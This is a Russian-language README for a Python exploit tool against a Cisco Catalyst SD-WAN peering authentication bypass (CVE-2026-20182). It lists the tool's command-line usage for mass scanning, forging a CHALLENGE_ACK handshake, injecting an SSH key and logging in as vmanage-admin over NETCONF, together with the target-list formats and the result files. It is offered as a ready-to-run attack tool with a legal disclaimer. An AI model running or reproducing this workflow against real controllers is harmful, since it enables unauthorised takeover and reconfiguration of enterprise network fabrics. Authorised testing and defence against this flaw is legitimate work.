
Обход аутентификации пиринга Cisco Catalyst SD-WAN
Cisco Catalyst SD-WAN Обход аутентификации пиринга
Инструмент оценки для авторизованного тестирования обхода аутентификации пиринга Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| Severity | Critical (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Product | Cisco Catalyst SD-WAN Controller (ранее vSmart) · Cisco Catalyst SD-WAN Manager (ранее vManage) |
| Issue | Механизм аутентификации пиринга не применяется корректно |
| Script | CVE-2026-20182.py |
Май 2026, уведомление: Ошибка в рукопожатии управляющего соединения / аутентификации пиринга позволяет неаутентифицированному удаленному атакующему обойти аутентификацию и получить внутренний доступ с высокими привилегиями к уязвимым системам.
Атакующий отправляет специально сформированные запросы на уязвимую систему. В случае успеха атакующий может аутентифицироваться как внутренняя, высокопривилегированная, не-root учетная запись и получить доступ к NETCONF, что позволяет манипулировать конфигурацией SD-WAN фабрики.
Рекомендация: Примените исправления безопасности Cisco в соответствии с официальными рекомендациями поставщика. Ограничьте доступ к плоскости управления, контролируйте соединения плоскости управления и проверьте контроллеры SD-WAN на наличие несанкционированных изменений конфигурации.
Telegram: @KNxploited
CVE-2026-20182.pyФреймворк эксплойта на Python 3 для CVE-2026-20182 против Cisco SD-WAN vdaemon (UDP/DTLS 12346).
Возврат фабрики: При TEAR_DOWN или несоответствии параметров повторяет альтернативные предустановки domain/site (1,100), (1,1), (0,0), если не указано --no-fallback.
Важно
check → максимум уровень 03 (зонд обхода). Не является доказательством полной эксплуатации.full → стремитесь к уровню 01 (ssh_verified).https://host в списке → только подсказка TCP веб (80/443). Не UDP DTLS на 443.pip install -r requirements.txt
Windows
bin\ в PATH, или укажите:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
Инструмент завершает работу при запуске, если OpenSSL не загружен.
python CVE-2026-20182.py
0 = ЗАПУСК СКАНИРОВАНИЯcheck (безопасный зонд обхода)python CVE-2026-20182.py -y
CHECK — только зонд обхода
python CVE-2026-20182.py -y --mode check
FULL — внедрение ключа + проверка SSH (только авторизованные цели)
python CVE-2026-20182.py -y --mode full
-f / --file — список целей (по умолчанию: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — рабочие потоки (1–200, по умолчанию 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — DOMAIN_ID по умолчанию, если не указан в списке (по умолчанию: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — SITE_ID по умолчанию, если не указан в списке (по умолчанию: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — пропустить интерактивное меню; использовать только значения CLI
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — пропустить тест SSH после внедрения (не рекомендуется в режиме full)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — также попробовать TCP 22 после 830
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — только UDP 12346; игнорировать :port из списка
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — лаборатория: дополнительные UDP порты на каждом хосте
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — отключить повтор domain/site при TEAR_DOWN
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — логировать каждое сообщение TX/RX протокола
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y опущен)targets.txtОдна цель на строку. Строки, начинающиеся с #, игнорируются.
Пример файла
# Лабораторные контроллеры — только авторизованные
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1
Не поддерживается: IPv6 (только IPv4 / имя хоста).
Пример команды SSH (уровень 01)
ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N
python CVE-2026-20182.py -y -f targets.txt --mode check -t 24
Просмотрите cisco_sdwan_03_bypass_only.jsonl и живую статистику Bypass only.
python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8
Просмотрите cisco_sdwan_01_confirmed_ssh.jsonl — единственный файл с ssh_verified: true.
python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback
check — не записывает ключи и сам по себе не доказывает SSH.ssh_verified=true только в режиме full.TEAR_DOWN после CHALLENGE_ACK; включите возврат фабрики или укажите правильный domain/site в списке.sdwan_keys/ или результаты сканирования в публичные репозитории.Данное программное обеспечение предназначено только для авторизованных исследований безопасности, защитного тестирования и обучения.
Вы должны иметь явное письменное разрешение на тестирование любой системы, которая вам не принадлежит или не управляется вами. Несанкционированный доступ к компьютерным системам незаконен. Автор не несет ответственности за неправильное использование, ущерб или юридические последствия, возникающие в результате использования этого инструмента.
Используйте только в системах и сетях, где у вас есть явное разрешение на проведение тестирования безопасности.
Автор: Nxploited ( Khaled Alenazi )
| Пункт | Детали |
|---|
| Вектор атаки | Сеть |
| Необходимые привилегии | Отсутствуют |
| Взаимодействие с пользователем | Отсутствует |
| Область действия | Изменена |
| Влияние | Конфиденциальность, целостность и доступность — Высокое |
| Шаг | Фаза | Описание |
|---|
| 1 | Загрузка целей | Парсинг targets.txt, слияние дубликатов по (host, domain_id, site_id) |
| 2 | Проверка OpenSSL | Загрузка общих библиотек OpenSSL 3.x/4.x для пользовательского DTLS |
| 3 | Подключение DTLS | Подключение к целевому UDP-порту (сначала 12346, затем опционально список портов) |
| 4 | CHALLENGE | Получение от сервера CHALLENGE (0x08) |
| 5 | CHALLENGE_ACK | Отправка поддельного CHALLENGE_ACK как vHub (тип 2) — обход аутентификации |
| 6 | Hello | Завершение обмена Hello — подтверждение пути обхода |
| 7a | Режим CHECK | Остановка здесь — запись только bypass / Hello OK (без ключей, без SSH) |
| 7b | Режим FULL | Внедрение открытого ключа SSH через VMANAGE_TO_PEER |
| 8 | Подтверждение Inject | Ожидание REGISTER_TO_VMANAGE (0x0D) в качестве подтверждения протокола |
| 9 | Проверка SSH | Тестовый вход как vmanage-admin на TCP 830 (NETCONF), опционально 22 |
| 10 | Вывод | Сортировка результатов в файлы уровней + удобочитаемый список команд |
| Уровень | Файл | Значение |
|---|
| 01 — Подтвержденный SSH | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — единственный уровень, считающийся полным доказательством компрометации |
| 02 — Только Inject ACK | cisco_sdwan_02_inject_ack_only.jsonl | Протокол принял внедрение ключа; вход по SSH не удался |
| 03 — Только Bypass | cisco_sdwan_03_bypass_only.jsonl | Hello/bypass выполнен; подтвержденного внедрения нет |
| Требование | Примечания |
|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | Общие библиотеки 3.x или 4.x (libssl + libcrypto) — обязательно |
| Режим | Флаг | Внедрение SSH | Проверка SSH | Использовать, когда |
|---|
| CHECK | --mode check (по умолчанию) | Нет | Нет | Массовый скрининг, обнаружение обхода |
| FULL | --mode full | Да | Да (кроме --no-ssh-verify) | Доказательство компрометации |
| # | Опция |
|---|
| 1 | Файл целей |
| 2 | Рабочие потоки |
| 3 | DOMAIN_ID по умолчанию |
| 4 | SITE_ID по умолчанию |
| 5 | Режим: check / full |
| 6 | Автоматический повтор фабрики при TEAR_DOWN |
| 7 | Подробный лог протокола |
| 8 | Проверка SSH после внедрения |
| 9 | Также проверять SSH :22 |
| 10 | Пробовать UDP порты из явного списка |
| 11 | Дополнительные UDP порты (лаборатория) |
| 12 | Показать справку по формату списка |
| 0 | ▶ ЗАПУСК СКАНИРОВАНИЯ |
| Формат | Пример | Поведение |
|---|
| IP / имя хоста | 10.0.0.1 | UDP 12346 + domain/site по умолчанию |
| IP + UDP порт | 10.0.0.2:12346 | Также пробовать UDP порт из списка |
| IP + порт + домен + сайт | 10.0.0.3:12346:1:100 | Полный кортеж фабрики |
| HTTPS URL | https://10.0.0.4 | Хост + только подсказка TCP 443 (не UDP/443) |
| HTTP URL | http://10.0.0.5 | Только подсказка TCP 80 |
| UDP URL | udp://10.0.0.6:12346 | Явный UDP |
| Табуляция/запятая | 10.0.0.7 12346 1 100 | То же, что и четырехпольная форма |
| Ключ=значение | 10.0.0.8;port=12346;domain=1;site=100 | Синтаксис KV через точку с запятой |
| Файл | Содержание |
|---|
cisco_sdwan_results.jsonl | Сырой результат JSON для каждой попытки |
cisco_sdwan_success.txt | Строки подтвержденного SSH (разделены табуляцией) |
cisco_sdwan_01_confirmed_ssh.jsonl | Уровень 01 — подтвержденный SSH |
cisco_sdwan_02_inject_ack_only.jsonl | Уровень 02 — inject ACK, SSH не удался |
cisco_sdwan_03_bypass_only.jsonl | Уровень 03 — только bypass / Hello |
cisco_sdwan_commands.txt | Удобочитаемые команды SSH |
cisco_sdwan_findings.json | Сводка сессии + счетчики |
sdwan_keys/ | Сгенерированные закрытые ключи (режим full) |
| Счетчик | Значение |
|---|
| Прогресс | Целей выполнено / всего |
| SSH подтвержден | Количество уровня 01 |
| Inject ACK | Количество уровня 02 |
| Только Bypass | Количество уровня 03 |
| Не удалось | Ошибки / нет обхода |